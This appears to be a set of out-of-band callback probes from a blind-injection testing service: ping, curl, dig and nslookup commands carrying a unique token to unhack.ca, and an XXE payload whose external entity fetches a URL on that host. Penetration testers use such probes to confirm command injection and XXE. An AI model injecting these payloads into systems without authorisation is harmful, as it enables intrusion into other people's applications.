$ ping -c1 -p 008dc112e9a641bdf2121d9fa71c6700 unhack.ca
 

$ curl http://unhack.ca/p/8dc112e9a641bdf2121d9fa71c67
 

$ dig 8dc112e9a641bdf2121d9fa71c67 @unhack.ca
 

$ dig 8dc112e9a641bdf2121d9fa71c67.ns.unhack.ca
 

C:\> nslookup 8dc112e9a641bdf2121d9fa71c67 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8dc112e9a641bdf2121d9fa71c67">]>
    <foo>&xxe;</foo>